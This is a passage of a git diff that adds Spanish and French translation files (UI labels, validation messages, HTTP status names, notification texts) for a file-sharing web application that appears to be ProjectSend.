están protegidos. Puedes cambiar a tus propias claves en cualquier momento." +} diff --git a/lang/es/actions.php b/lang/es/actions.php new file mode 100644 index 00000000..6a0ebe31 --- /dev/null +++ b/lang/es/actions.php @@ -0,0 +1,119 @@ + 'Aceptar', + 'action' => 'Acción', + 'actions' => 'Acciones', + 'add' => 'Agregar', + 'admin' => 'Administrar', + 'agree' => 'Aceptar', + 'archive' => 'Archivar', + 'assign' => 'Asignar', + 'associate' => 'Asociar', + 'attach' => 'Adjuntar', + 'browse' => 'Navegar', + 'cancel' => 'Cancelar', + 'choose' => 'Elegir', + 'choose_file' => 'Elegir archivo', + 'choose_image' => 'Elegir Imagen', + 'click_to_copy' => 'Haga clic para copiar', + 'close' => 'Cerrar', + 'collapse' => 'Colapsar', + 'collapse_all' => 'Colapsar todo', + 'comment' => 'Comentar', + 'confirm' => 'Confirmar', + 'connect' => 'Conectar', + 'create' => 'Crear', + 'delete' => 'Borrar', + 'detach' => 'Desasociar', + 'details' => 'Detalles', + 'disable' => 'Desactivar', + 'discard' => 'Descartar', + 'done' => 'Hecho', + 'down' => 'Abajo', + 'duplicate' => 'Duplicar', + 'edit' => 'Editar', + 'enable' => 'Permitir', + 'expand' => 'Expandir', + 'expand_all' => 'Expandir todo', + 'explanation' => 'Explicación', + 'export' => 'Exportar', + 'file' => 'Archivo', + 'files' => 'Archivos', + 'go_home' => 'Ir a Inicio', + 'hide' => 'Ocultar', + 'home' => 'Inicio', + 'image' => 'Imagen', + 'impersonate' => 'Personificar', + 'impersonation' => 'Personificación', + 'import' => 'Importar', + 'introduction' => 'Introducción', + 'like' => 'Me gusta', + 'load' => 'Cargar', + 'localize' => 'Localizar', + 'log_in' => 'Acceder', + 'log_out' => 'Cerrar sesión', + 'named' => [ + 'add' => 'Agregar :name', + 'choose' => 'Elegir :name', + 'create' => 'Crear :name', + 'delete' => 'Eliminar :name', + 'duplicate' => 'Duplicar :name', + 'edit' => 'Editar :name', + 'export' => 'Exportar :name', + 'hide' => 'Ocultar :name', + 'import' => 'Importar :name', + 'new' => 'Nuevo :name', + 'restore' => 'Restaurar :name', + 'save' => 'Guardar :name', + 'search' => 'Buscar :name', + 'show' => 'Mostrar :name', + 'update' => 'Actualizar :name', + 'view' => 'Ver :name', + ], + 'new' => 'Nuevo', + 'no' => 'No', + 'open' => 'Abrir', + 'open_website' => 'Abrir en el sitio web', + 'preview' => 'Previsualizar', + 'price' => 'Precio', + 'record' => 'Registro', + 'restore' => 'Restaurar', + 'save' => 'Guardar', + 'save_and_close' => 'Guardar y cerrar', + 'save_and_return' => 'Guardar y volver', + 'search' => 'Buscar', + 'select' => 'Seleccionar', + 'select_all' => 'Seleccionar todo', + 'send' => 'Enviar', + 'settings' => 'Ajustes', + 'show' => 'Mostrar', + 'show_all' => 'Mostrar todo', + 'sign_in' => 'Iniciar sesión', + 'solve' => 'Resolver', + 'start' => 'Comenzar', + 'stop' => 'Detener', + 'submit' => 'Enviar', + 'subscribe' => 'Suscribir', + 'switch' => 'Cambiar', + 'switch_to_role' => 'Cambiar de rol', + 'tag' => 'Etiqueta', + 'tags' => 'Etiquetas', + 'target_link' => [ + 'blank' => 'Abrir en una ventana nueva', + 'parent' => 'Abrir en el marco principal', + 'self' => 'Abrir en la ventana actual', + 'top' => 'Abrir en el marco superior', + ], + 'translate' => 'Traducir', + 'translate_it' => 'Traducirlo', + 'unpack' => 'Desglosar', + 'unsubscribe' => 'Darse de baja', + 'up' => 'Arriba', + 'update' => 'Actualizar', + 'user' => 'Usuario', + 'view' => 'Ver', + 'yes' => 'Sí', +]; diff --git a/lang/es/auth.php b/lang/es/auth.php new file mode 100644 index 00000000..688b177e --- /dev/null +++ b/lang/es/auth.php @@ -0,0 +1,9 @@ + 'Estas credenciales no coinciden con nuestros registros.', + 'password' => 'La contraseña es incorrecta.', + 'throttle' => 'Demasiados intentos de acceso. Por favor intente nuevamente en :seconds segundos.', +]; diff --git a/lang/es/http-statuses.php b/lang/es/http-statuses.php new file mode 100644 index 00000000..8b9837c1 --- /dev/null +++ b/lang/es/http-statuses.php @@ -0,0 +1,84 @@ + 'Error desconocido', + '100' => 'Continuar', + '101' => 'Protocolos de conmutación', + '102' => 'Procesando', + '200' => 'DE ACUERDO', + '201' => 'Creado', + '202' => 'Aceptado', + '203' => 'Información no autorizada', + '204' => 'Sin contenido', + '205' => 'Restablecer contenido', + '206' => 'Contenido parcial', + '207' => 'Multiestado', + '208' => 'Ya Reportado', + '226' => 'IM usado', + '300' => 'Múltiples opciones', + '301' => 'Movido permanentemente', + '302' => 'Encontrado', + '303' => 'Ver otros', + '304' => 'No modificado', + '305' => 'Usa proxy', + '307' => 'Redirección temporal', + '308' => 'Redirección permanente', + '400' => 'Solicitud incorrecta', + '401' => 'No autorizado', + '402' => 'Pago requerido', + '403' => 'Prohibido', + '404' => 'No encontrado', + '405' => 'Método no permitido', + '406' => 'Inaceptable', + '407' => 'Se requiere autenticación proxy', + '408' => 'Solicitud de tiempo de espera', + '409' => 'Conflicto', + '410' => 'Recurso no disponible', + '411' => 'Longitud requerida', + '412' => 'Error de condición previa', + '413' => 'Solicitud demasiado grande', + '414' => 'URI demasiado largo', + '415' => 'Tipo de medio no admitido', + '416' => 'Rango no satisfactorio', + '417' => 'Expectativa fallida', + '418' => 'Soy una tetera', + '419' => 'La sesión ha expirado', + '421' => 'Solicitud mal dirigida', + '422' => 'Entidad no procesable', + '423' => 'Bloqueado', + '424' => 'Dependencia fallida', + '425' => 'Demasiado temprano', + '426' => 'Se requiere actualización', + '428' => 'Precondición requerida', + '429' => 'Demasiadas solicitudes', + '431' => 'Campos de encabezado de solicitud demasiado grandes', + '444' => 'Conexión cerrada sin respuesta', + '449' => 'Reintentar con', + '451' => 'No disponible por razones legales', + '499' => 'Solicitud cerrada del cliente', + '500' => 'Error interno del servidor', + '501' => 'No se ha implementado', + '502' => 'Mala puerta de enlace', + '503' => 'Modo de mantenimiento', + '504' => 'Tiempo de espera de puerta de enlace', + '505' => 'Versión HTTP no compatible', + '506' => 'Variante También Negocia', + '507' => 'Espacio insuficiente', + '508' => 'Bucle detectado', + '509' => 'Límite de ancho de banda excedido', + '510' => 'no extendido', + '511' => 'Se requiere autenticación de red', + '520' => 'Error desconocido', + '521' => 'El servidor web está caído', + '522' => 'Tiempo de conexión agotado', + '523' => 'El origen es inalcanzable', + '524' => 'Se produjo un tiempo de espera', + '525' => 'Protocolo de enlace SSL fallido', + '526' => 'Certificado SSL no válido', + '527' => 'Error de cañón de riel', + '598' => 'Error de tiempo de espera de lectura de red', + '599' => 'Error de tiempo de espera de conexión de red', + 'unknownError' => 'Error desconocido', +]; diff --git a/lang/es/pagination.php b/lang/es/pagination.php new file mode 100644 index 00000000..e047f940 --- /dev/null +++ b/lang/es/pagination.php @@ -0,0 +1,8 @@ + 'Siguiente »', + 'previous' => '« Anterior', +]; diff --git a/lang/es/passwords.php b/lang/es/passwords.php new file mode 100644 index 00000000..3f50330b --- /dev/null +++ b/lang/es/passwords.php @@ -0,0 +1,11 @@ + 'Su contraseña ha sido restablecida.', + 'sent' => 'Le hemos enviado por correo electrónico el enlace para restablecer su contraseña.', + 'throttled' => 'Por favor espere antes de intentar de nuevo.', + 'token' => 'El token de restablecimiento de contraseña es inválido.', + 'user' => 'No encontramos ningún usuario con ese correo electrónico.', +]; diff --git a/lang/es/validation.php b/lang/es/validation.php new file mode 100644 index 00000000..0ecbe3f3 --- /dev/null +++ b/lang/es/validation.php @@ -0,0 +1,288 @@ + 'El campo :attribute debe ser aceptado.', + 'accepted_if' => 'El campo :attribute debe ser aceptado cuando :other sea :value.', + 'active_url' => 'El campo :attribute debe ser una URL válida.', + 'after' => 'El campo :attribute debe ser una fecha posterior a :date.', + 'after_or_equal' => 'El campo :attribute debe ser una fecha posterior o igual a :date.', + 'alpha' => 'El campo :attribute sólo debe contener letras.', + 'alpha_dash' => 'El campo :attribute sólo debe contener letras, números, guiones y guiones bajos.', + 'alpha_num' => 'El campo :attribute sólo debe contener letras y números.', + 'any_of' => 'El campo :attribute no es válido.', + 'array' => 'El campo :attribute debe ser un conjunto.', + 'ascii' => 'El campo :attribute solo debe contener caracteres alfanuméricos y símbolos de un solo byte.', + 'before' => 'El campo :attribute debe ser una fecha anterior a :date.', + 'before_or_equal' => 'El campo :attribute debe ser una fecha anterior o igual a :date.', + 'between' => [ + 'array' => 'El campo :attribute tiene que tener entre :min - :max elementos.', + 'file' => 'El campo :attribute debe pesar entre :min - :max kilobytes.', + 'numeric' => 'El campo :attribute tiene que estar entre :min - :max.', + 'string' => 'El campo :attribute tiene que tener entre :min - :max caracteres.', + ], + 'boolean' => 'El campo :attribute debe tener un valor verdadero o falso.', + 'can' => 'El campo :attribute contiene un valor no autorizado.', + 'confirmed' => 'La confirmación de :attribute no coincide.', + 'contains' => 'Al campo :attribute le falta un valor obligatorio.', + 'current_password' => 'La contraseña es incorrecta.', + 'date' => 'El campo :attribute debe ser una fecha válida.', + 'date_equals' => 'El campo :attribute debe ser una fecha igual a :date.', + 'date_format' => 'El campo :attribute debe coincidir con el formato :format.', + 'decimal' => 'El campo :attribute debe tener :decimal cifras decimales.', + 'declined' => 'El campo :attribute debe ser rechazado.', + 'declined_if' => 'El campo :attribute debe ser rechazado cuando :other sea :value.', + 'different' => 'El campo :attribute y :other deben ser diferentes.', + 'digits' => 'El campo :attribute debe tener :digits dígitos.', + 'digits_between' => 'El campo :attribute debe tener entre :min y :max dígitos.', + 'dimensions' => 'El campo :attribute tiene dimensiones de imagen no válidas.', + 'distinct' => 'El campo :attribute contiene un valor duplicado.', + 'doesnt_contain' => 'El campo :attribute no debe contener ninguno de los siguientes valores: :values.', + 'doesnt_end_with' => 'El campo :attribute no debe finalizar con uno de los siguientes: :values.', + 'doesnt_start_with' => 'El campo :attribute no debe comenzar con uno de los siguientes: :values.', + 'email' => 'El campo :attribute no es un correo válido.', + 'encoding' => 'El campo :attribute debe estar codificado en :encoding.', + 'ends_with' => 'El campo :attribute debe finalizar con uno de los siguientes valores: :values', + 'enum' => 'El campo :attribute no está en la lista de valores permitidos.', + 'exists' => 'El campo :attribute no existe.', + 'extensions' => 'El campo :attribute debe tener una de las siguientes extensiones: :values.', + 'file' => 'El campo :attribute debe ser un archivo.', + 'filled' => 'El campo :attribute es obligatorio.', + 'gt' => [ + 'array' => 'El campo :attribute debe tener más de :value elementos.', + 'file' => 'El campo :attribute debe tener más de :value kilobytes.', + 'numeric' => 'El campo :attribute debe ser mayor que :value.', + 'string' => 'El campo :attribute debe tener más de :value caracteres.', + ], + 'gte' => [ + 'array' => 'El campo :attribute debe tener como mínimo :value elementos.', + 'file' => 'El campo :attribute debe tener como mínimo :value kilobytes.', + 'numeric' => 'El campo :attribute debe ser como mínimo :value.', + 'string' => 'El campo :attribute debe tener como mínimo :value caracteres.', + ], + 'hex_color' => 'El campo :attribute debe tener un color hexadecimal válido.', + 'image' => 'El campo :attribute debe ser una imagen.', + 'in' => 'El campo :attribute no está en la lista de valores permitidos.', + 'in_array' => 'El campo :attribute debe existir en :other.', + 'in_array_keys' => 'El campo :attribute debe contener al menos una de las siguientes claves: :values.', + 'integer' => 'El campo :attribute debe ser un número entero.', + 'ip' => 'El campo :attribute debe ser una dirección IP válida.', + 'ipv4' => 'El campo :attribute debe ser una dirección IPv4 válida.', + 'ipv6' => 'El campo :attribute debe ser una dirección IPv6 válida.', + 'json' => 'El campo :attribute debe ser una cadena JSON válida.', + 'list' => 'El campo :attribute debe ser una lista.', + 'lowercase' => 'El campo :attribute debe estar en minúscula.', + 'lt' => [ + 'array' => 'El campo :attribute debe tener menos de :value elementos.', + 'file' => 'El campo :attribute debe tener menos de :value kilobytes.', + 'numeric' => 'El campo :attribute debe ser menor que :value.', + 'string' => 'El campo :attribute debe tener menos de :value caracteres.', + ], + 'lte' => [ + 'array' => 'El campo :attribute debe tener como máximo :value elementos.', + 'file' => 'El campo :attribute debe tener como máximo :value kilobytes.', + 'numeric' => 'El campo :attribute debe ser como máximo :value.', + 'string' => 'El campo :attribute debe tener como máximo :value caracteres.', + ], + 'mac_address' => 'El campo :attribute debe ser una dirección MAC válida.', + 'max' => [ + 'array' => 'El campo :attribute no debe tener más de :max elementos.', + 'file' => 'El campo :attribute no debe ser mayor que :max kilobytes.', + 'numeric' => 'El campo :attribute no debe ser mayor que :max.', + 'string' => 'El campo :attribute no debe ser mayor que :max caracteres.', + ], + 'max_digits' => 'El campo :attribute no debe tener más de :max dígitos.', + 'mimes' => 'El campo :attribute debe ser un archivo con formato: :values.', + 'mimetypes' => 'El campo :attribute debe ser un archivo con formato: :values.', + 'min' => [ + 'array' => 'El campo :attribute debe tener al menos :min elementos.', + 'file' => 'El tamaño de :attribute debe ser de al menos :min kilobytes.', + 'numeric' => 'El tamaño de :attribute debe ser de al menos :min.', + 'string' => 'El campo :attribute debe contener al menos :min caracteres.', + ], + 'min_digits' => 'El campo :attribute debe tener al menos :min dígitos.', + 'missing' => 'El campo :attribute no debe estar presente.', + 'missing_if' => 'El campo :attribute no debe estar presente cuando :other sea :value.', + 'missing_unless' => 'El campo :attribute no debe estar presente a menos que :other sea :value.', + 'missing_with' => 'El campo :attribute no debe estar presente si alguno de los campos :values está presente.', + 'missing_with_all' => 'El campo :attribute no debe estar presente cuando los campos :values estén presentes.', + 'multiple_of' => 'El campo :attribute debe ser múltiplo de :value', + 'not_in' => 'El campo :attribute no debe estar en la lista.', + 'not_regex' => 'El formato del campo :attribute no es válido.', + 'numeric' => 'El campo :attribute debe ser numérico.', + 'password' => [ + 'letters' => 'La :attribute debe contener al menos una letra.', + 'mixed' => 'La :attribute debe contener al menos una letra mayúscula y una minúscula.', + 'numbers' => 'La :attribute debe contener al menos un número.', + 'symbols' => 'La :attribute debe contener al menos un símbolo.', + 'uncompromised' => 'La :attribute proporcionada se ha visto comprometida en una filtración de datos (data leak). Elija una :attribute diferente.', + ], + 'present' => 'El campo :attribute debe estar presente.', + 'present_if' => 'El campo :attribute debe estar presente cuando :other es :value.', + 'present_unless' => 'El campo :attribute debe estar presente a menos que :other sea :value.', + 'present_with' => 'El campo :attribute debe estar presente cuando :values esté presente.', + 'present_with_all' => 'El campo :attribute debe estar presente cuando :values estén presentes.', + 'prohibited' => 'El campo :attribute está prohibido.', + 'prohibited_if' => 'El campo :attribute está prohibido cuando :other es :value.', + 'prohibited_if_accepted' => 'El campo :attribute está prohibido cuando se acepta :other.', + 'prohibited_if_declined' => 'El campo :attribute está prohibido cuando se rechaza :other.', + 'prohibited_unless' => 'El campo :attribute está prohibido a menos que :other sea :values.', + 'prohibits' => 'El campo :attribute prohibe que :other esté presente.', + 'regex' => 'El formato del campo :attribute no es válido.', + 'required' => 'El campo :attribute es obligatorio.', + 'required_array_keys' => 'El campo :attribute debe contener entradas para: :values.', + 'required_if' => 'El campo :attribute es obligatorio cuando :other es :value.', + 'required_if_accepted' => 'El campo :attribute es obligatorio si :other es aceptado.', + 'required_if_declined' => 'El campo :attribute es obligatorio si :other es rechazado.', + 'required_unless' => 'El campo :attribute es obligatorio a menos que :other esté en :values.', + 'required_with' => 'El campo :attribute es obligatorio cuando :values está presente.', + 'required_with_all' => 'El campo :attribute es obligatorio cuando :values están presentes.', + 'required_without' => 'El campo :attribute es obligatorio cuando :values no está presente.', + 'required_without_all' => 'El campo :attribute es obligatorio cuando ninguno de :values está presente.', + 'same' => 'Los campos :attribute y :other deben coincidir.', + 'size' => [ + 'array' => 'El campo :attribute debe contener :size elementos.', + 'file' => 'El tamaño de :attribute debe ser :size kilobytes.', + 'numeric' => 'El tamaño de :attribute debe ser :size.', + 'string' => 'El campo :attribute debe contener :size caracteres.', + ], + 'starts_with' => 'El campo :attribute debe comenzar con uno de los siguientes valores: :values', + 'string' => 'El campo :attribute debe ser una cadena de caracteres.', + 'timezone' => 'El campo :attribute debe ser una zona horaria válida.', + 'ulid' => 'El campo :attribute debe ser un ULID válido.', + 'unique' => 'El campo :attribute ya ha sido registrado.', + 'uploaded' => 'Subir :attribute ha fallado.', + 'uppercase' => 'El campo :attribute debe estar en mayúscula.', + 'url' => 'El campo :attribute debe ser una URL válida.', + 'uuid' => 'El campo :attribute debe ser un UUID válido.', + 'attributes' => [ + 'address' => 'dirección', + 'affiliate_url' => 'URL de afiliado', + 'age' => 'edad', + 'amount' => 'cantidad', + 'announcement' => 'anuncio', + 'area' => 'área', + 'audience_prize' => 'premio del público', + 'audience_winner' => 'ganador del público', + 'available' => 'disponible', + 'birthday' => 'cumpleaños', + 'body' => 'contenido', + 'city' => 'ciudad', + 'color' => 'color', + 'company' => 'compañía', + 'compilation' => 'compilación', + 'concept' => 'concepto', + 'conditions' => 'condiciones', + 'content' => 'contenido', + 'contest' => 'concurso', + 'country' => 'país', + 'cover' => 'portada', + 'created_at' => 'creado el', + 'creator' => 'creador', + 'currency' => 'moneda', + 'current_password' => 'contraseña actual', + 'customer' => 'cliente', + 'date' => 'fecha', + 'date_of_birth' => 'fecha de nacimiento', + 'dates' => 'fechas', + 'day' => 'día', + 'deleted_at' => 'eliminado el', + 'description' => 'descripción', + 'display_type' => 'tipo de visualización', + 'district' => 'distrito', + 'duration' => 'duración', + 'email' => 'correo electrónico', + 'excerpt' => 'extracto', + 'filter' => 'filtro', + 'finished_at' => 'terminado el', + 'first_name' => 'nombre', + 'gender' => 'género', + 'grand_prize' => 'gran Premio', + 'group' => 'grupo', + 'hour' => 'hora', + 'image' => 'imagen', + 'image_desktop' => 'imagen de escritorio', + 'image_main' => 'imagen principal', + 'image_mobile' => 'imagen móvil', + 'images' => 'imágenes', + 'is_audience_winner' => 'es ganador de audiencia', + 'is_hidden' => 'está oculto', + 'is_subscribed' => 'está suscrito', + 'is_visible' => 'es visible', + 'is_winner' => 'es ganador', + 'items' => 'elementos', + 'key' => 'clave', + 'last_name' => 'apellidos', + 'lesson' => 'lección', + 'line_address_1' => 'línea de dirección 1', + 'line_address_2' => 'línea de dirección 2', + 'login' => 'acceso', + 'message' => 'mensaje', + 'middle_name' => 'segundo nombre', + 'minute' => 'minuto', + 'mobile' => 'móvil', + 'month' => 'mes', + 'name' => 'nombre', + 'national_code' => 'código nacional', + 'number' => 'número', + 'password' => 'contraseña', + 'password_confirmation' => 'confirmación de la contraseña', + 'phone' => 'teléfono', + 'photo' => 'foto', + 'portfolio' => 'portafolio', + 'postal_code' => 'código postal', + 'preview' => 'vista preliminar', + 'price' => 'precio', + 'product_id' => 'ID del producto', + 'product_uid' => 'UID del producto', + 'product_uuid' => 'UUID del producto', + 'promo_code' => 'código promocional', + 'province' => 'provincia', + 'quantity' => 'cantidad', + 'reason' => 'razón', + 'recaptcha_response_field' => 'respuesta del recaptcha', + 'referee' => 'árbitro', + 'referees' => 'árbitros', + 'region' => 'región', + 'reject_reason' => 'motivo de rechazo', + 'remember' => 'recordar', + 'restored_at' => 'restaurado el', + 'result_text_under_image' => 'texto bajo la imagen', + 'role' => 'rol', + 'rule' => 'regla', + 'rules' => 'reglas', + 'second' => 'segundo', + 'sex' => 'sexo', + 'shipment' => 'envío', + 'short_text' => 'texto corto', + 'size' => 'tamaño', + 'skills' => 'habilidades', + 'slug' => 'slug', + 'specialization' => 'especialización', + 'started_at' => 'comenzado el', + 'state' => 'estado', + 'status' => 'estado', + 'street' => 'calle', + 'student' => 'estudiante', + 'subject' => 'asunto', + 'tag' => 'etiqueta', + 'tags' => 'etiquetas', + 'teacher' => 'profesor', + 'terms' => 'términos', + 'test_description' => 'descripción de prueba', + 'test_locale' => 'idioma de prueba', + 'test_name' => 'nombre de prueba', + 'text' => 'texto', + 'time' => 'hora', + 'title' => 'título', + 'type' => 'tipo', + 'updated_at' => 'actualizado el', + 'user' => 'usuario', + 'username' => 'usuario', + 'value' => 'valor', + 'winner' => 'ganador', + 'work' => 'trabajo', + 'year' => 'año', + ], +]; diff --git a/lang/fr.json b/lang/fr.json new file mode 100644 index 00000000..9efc58d7 --- /dev/null +++ b/lang/fr.json @@ -0,0 +1,1786 @@ +{ + ":clientName uploaded \":itemName\"": ":clientName a téléversé \":itemName\"", + ":count accounts have this role": ":count comptes ont ce rôle", + ":count awaiting approval": ":count en attente d'approbation", + ":count downloads": ":count téléchargements", + ":count file deleted.|:count files deleted.": ":count fichier supprimé.|:count fichiers supprimés.", + ":count file imported.|:count files imported.": ":count fichier importé.|:count fichiers importés.", + ":count files": ":count fichiers", + ":count folders": ":count dossiers", + ":count items have been shared with you": ":count éléments ont été partagés avec vous", + ":count members": ":count membres", + ":count selected": ":count sélectionnés", + ":files files": ":files fichiers", + ":itemName was shared with you": ":itemName a été partagé avec vous", + ":name will not be added to the group \":group\".": ":name ne sera pas ajouté au groupe \":group\".", + ":total total": ":total au total", + ":used / :limit downloads": ":used / :limit téléchargements", + ":used MB of :quota MB used": ":used Mo utilisés sur :quota Mo", + ":used MB used, no limit": ":used Mo utilisés, sans limite", + "(and :count more error)": "(et :count erreur en plus)", + "(and :count more errors)": "(et :count erreur en plus)|(et :count erreurs en plus)|(et :count erreurs en plus)", + "(deleted account)": "(compte supprimé)", + "0 means unlimited.": "0 signifie illimité.", + "A client account request was approved": "Une demande de compte client a été approuvée", + "A client account request was denied": "Une demande de compte client a été refusée", + "A client left a group": "Un client a quitté un groupe", + "A client registered an account": "Un client a créé un compte", + "A client requested to join a group": "Un client a demandé à rejoindre un groupe", + "A client uploaded a file": "Un client a téléversé un fichier", + "A client was added to a group": "Un client a été ajouté à un groupe", + "A client was removed from a group": "Un client a été retiré d'un groupe", + "A decryption key is required.": "Une clé de déchiffrement est requise.", + "A file assignment was removed": "Une attribution de fichier a été retirée", + "A file has been shared with you": "Un fichier a été partagé avec vous", + "A file or folder was shared with you": "Un fichier ou un dossier a été partagé avec vous", + "A file was assigned": "Un fichier a été attribué", + "A file was deleted": "Un fichier a été supprimé", + "A file was downloaded": "Un fichier a été téléchargé", + "A file was downloaded via a public link": "Un fichier a été téléchargé via un lien public", + "A file was downloaded via the public group listing": "Un fichier a été téléchargé via l'annuaire public des groupes", + "A file was updated": "Un fichier a été mis à jour", + "A file was uploaded": "Un fichier a été téléversé", + "A folder cannot be moved into itself.": "Un dossier ne peut pas être déplacé dans lui-même.", + "A folder has been shared with you": "Un dossier a été partagé avec vous", + "A folder was created": "Un dossier a été créé", + "A folder was deleted": "Un dossier a été supprimé", + "A folder was moved": "Un dossier a été déplacé", + "A folder was renamed": "Un dossier a été renommé", + "A folder was shared": "Un dossier a été partagé", + "A folder was unshared": "Le partage d'un dossier a été retiré", + "A group membership request was approved": "Une demande d'adhésion à un groupe a été approuvée", + "A group membership request was denied": "Une demande d'adhésion à un groupe a été refusée", + "A group membership was requested": "Une adhésion à un groupe a été demandée", + "A group was created": "Un groupe a été créé", + "A group was deleted": "Un groupe a été supprimé", + "A group was updated": "Un groupe a été mis à jour", + "A new client account was created: :name (:email).": "Un nouveau compte client a été créé : :name (:email).", + "A new client has registered": "Un nouveau client s'est inscrit", + "A new ProjectSend version is available": "Une nouvelle version de ProjectSend est disponible", + "A public group's page is always reachable by its own link once you mark it public — this section only controls the base URL and an optional directory listing every public group and file at once.": "La page d'un groupe public reste toujours accessible par son propre lien dès que vous le marquez comme public — cette section ne contrôle que l'URL de base et un annuaire facultatif listant d'un coup tous les groupes et fichiers publics.", + "A public link was created": "Un lien public a été créé", + "A public link was revoked": "Un lien public a été révoqué", + "A role was created": "Un rôle a été créé", + "A role was deleted": "Un rôle a été supprimé", + "A role was updated": "Un rôle a été mis à jour", + "A Timeout Occurred": "Temps d'attente dépassé", + "About": "À propos", + "Accept": "Accepter", + "Accepted": "Accepté", + "Account": "Compte", + "Account deletion grace period (days)": "Délai de grâce avant suppression du compte (jours)", + "Account is active": "Le compte est actif", + "Account Manager": "Chargé de clientèle", + "Account request approved.": "Demande de compte approuvée.", + "Account request denied.": "Demande de compte refusée.", + "Account requests": "Demandes de compte", + "Account settings": "Paramètres du compte", + "Account type": "Type de compte", + "Accounts": "Comptes", + "Accounts covered by this requirement must set up two-factor authentication before they can continue using the application.": "Les comptes concernés par cette exigence doivent configurer l'authentification à deux facteurs avant de pouvoir continuer à utiliser l'application.", + "Action": "Action", + "Actions": "Actions", + "Activate": "Activer", + "Activated the account \":subject\"": "A activé le compte \":subject\"", + "Activating this account approves its pending request.": "Activer ce compte approuve la demande en attente qui lui est liée.", + "Active": "Actif", + "Activity": "Activité", + "Activity log": "Journal d'activité", + "Add": "Ajouter", + "Add :name": "Ajouter :name", + "Add a category": "Ajouter une catégorie", + "Add a client": "Ajouter un client", + "Add a second step to your login using an authenticator app.": "Ajoutez une seconde étape à votre connexion à l'aide d'une application d'authentification.", + "Add new clients to this group": "Ajouter de nouveaux clients à ce groupe", + "Added \":member\" to the group \":subject\"": "A ajouté \":member\" au groupe \":subject\"", + "Admin": "Administrateur", + "Admin notification recipients": "Destinataires des notifications d'administration", + "Admin: client uploaded a file": "Administration : un client a téléversé un fichier", + "Admin: group membership requested": "Administration : adhésion à un groupe demandée", + "Admin: new client registered": "Administration : nouveau client inscrit", + "Administration": "Administration", + "After uploading you can assign it to clients and groups": "Après le téléversement, vous pourrez l'attribuer à des clients et à des groupes", + "Agree": "Accepter", + "All": "Tous", + "All actions": "Toutes les actions", + "All categories": "Toutes les catégories", + "All clients": "Tous les clients", + "All comments": "Tous les commentaires", + "All failed jobs deleted.": "Toutes les tâches échouées ont été supprimées.", + "All files": "Tous les fichiers", + "All groups": "Tous les groupes", + "All permissions": "Toutes les permissions", + "All rights reserved.": "Tous droits réservés.", + "All roles": "Tous les rôles", + "All statuses": "Tous les statuts", + "All system users": "Tous les utilisateurs système", + "All types": "Tous les types", + "Already have an account?": "Vous avez déjà un compte ?", + "Already Reported": "Déjà rapporté", + "Always": "Toujours", + "Amazon SES": "Amazon SES", + "An account has been created for you. You can log in now.": "Un compte a été créé pour vous. Vous pouvez vous connecter dès maintenant.", + "An account was activated": "Un compte a été activé", + "An account was created": "Un compte a été créé", + "An account was deactivated": "Un compte a été désactivé", + "An account was deleted": "Un compte a été supprimé", + "An account was permanently erased": "Un compte a été effacé définitivement", + "An account was updated": "Un compte a été mis à jour", + "An administrator deleting an account is asked this each time; the automatic erasure of self-deleted accounts runs unattended and follows this choice, so nothing is ever left ownerless.": "Un administrateur qui supprime un compte se voit poser la question à chaque fois ; l'effacement automatique des comptes supprimés par leur propriétaire s'exécute sans surveillance et suit ce choix, de sorte que rien ne reste jamais sans propriétaire.", + "An administrator will review your group requests.": "Un administrateur examinera vos demandes de groupe.", + "An orphan file was deleted": "Un fichier orphelin a été supprimé", + "An orphan file was imported": "Un fichier orphelin a été importé", + "An overview of this installation": "Une vue d'ensemble de cette installation", + "Any audience": "Toute audience", + "Anyone": "Tout le monde", + "Anyone using it will no longer be able to download the file.": "Quiconque l'utilise ne pourra plus télécharger le fichier.", + "Appearance": "Apparence", + "Applies to the guest-facing public group/file pages and the \"My files\" client portal.": "S'applique aux pages publiques de groupes et de fichiers destinées aux visiteurs ainsi qu'au portail client « Mes fichiers ».", + "Apply filters": "Appliquer les filtres", + "Approve": "Approuver", + "Approve account requests": "Approuver les demandes de compte", + "Approve group membership requests": "Approuver les demandes d'adhésion aux groupes", + "Approved the account request of \":subject\"": "A approuvé la demande de compte de \":subject\"", + "Approved the membership of \":member\" to the group \":subject\"": "A approuvé l'adhésion de \":member\" au groupe \":subject\"", + "Archive": "Archive", + "Are deleted along with the account": "Sont supprimés avec le compte", + "Are reassigned to another account": "Sont réattribués à un autre compte", + "Are you sure you want to delete your account?": "Voulez-vous vraiment supprimer votre compte ?", + "Assign": "Attribuer", + "Assign categories to files": "Attribuer des catégories aux fichiers", + "Assigned": "Attribué", + "Assigned clients": "Clients attribués", + "Assigned the file \":subject\" to :target": "A attribué le fichier \":subject\" à :target", + "Associate": "Associé", + "Attach": "Attacher", + "Audience": "Audience", + "Authentication code": "Code d'authentification", + "Authentication requirements for this installation": "Exigences d'authentification pour cette installation", + "Author": "Auteur", + "Available groups": "Groupes disponibles", + "Available placeholders": "Variables disponibles", + "Back to My files": "Retour à Mes fichiers", + "Bad Gateway": "Passerelle invalide", + "Bad Request": "Requête erronée", + "Bandwidth Limit Exceeded": "Limite de bande passante dépassée", + "Blue": "Bleu", + "Body": "Corps du message", + "Browse": "Parcourir", + "Browse publicly shared groups and files below.": "Parcourez ci-dessous les groupes et fichiers partagés publiquement.", + "Built-in": "Intégré", + "Built-in role names cannot be changed.": "Le nom des rôles intégrés ne peut pas être modifié.", + "Built-in roles cannot be deleted.": "Les rôles intégrés ne peuvent pas être supprimés.", + "Call to action": "Appel à l'action", + "Cancel": "Annuler", + "Categories": "Catégories", + "Category": "Catégorie", + "Category created.": "Catégorie créée.", + "Category deleted.": "Catégorie supprimée.", + "Category updated.": "Catégorie mise à jour.", + "Changed their password": "A modifié son mot de passe", + "Checkbox": "Case à cocher", + "Checksum (SHA-256)": "Somme de contrôle (SHA-256)", + "Choose": "Choisir", + "Choose :name": "Choisir :name", + "Choose an account…": "Choisir un compte…", + "Choose File": "Choisir le fichier", + "Choose Image": "Choisir une image", + "Choose which notifications also send you an email. Everything always appears in the notification bell.": "Choisissez les notifications qui vous sont également envoyées par e-mail. Tout apparaît de toute façon dans la cloche de notifications.", + "Clear": "Effacer", + "Click to copy": "Cliquer pour copier", + "Client": "Client", + "Client account approved": "Compte client approuvé", + "Client account denied": "Compte client refusé", + "Client account edited": "Compte client modifié", + "Client Closed Request": "Demande fermée par le client", + "Client created.": "Client créé.", + "Client deleted.": "Client supprimé.", + "Client Manager": "Gestionnaire de clients", + "Client settings": "Paramètres des clients", + "Client updated.": "Client mis à jour.", + "Client welcome (staff-created account)": "Bienvenue client (compte créé par l'équipe)", + "Clients": 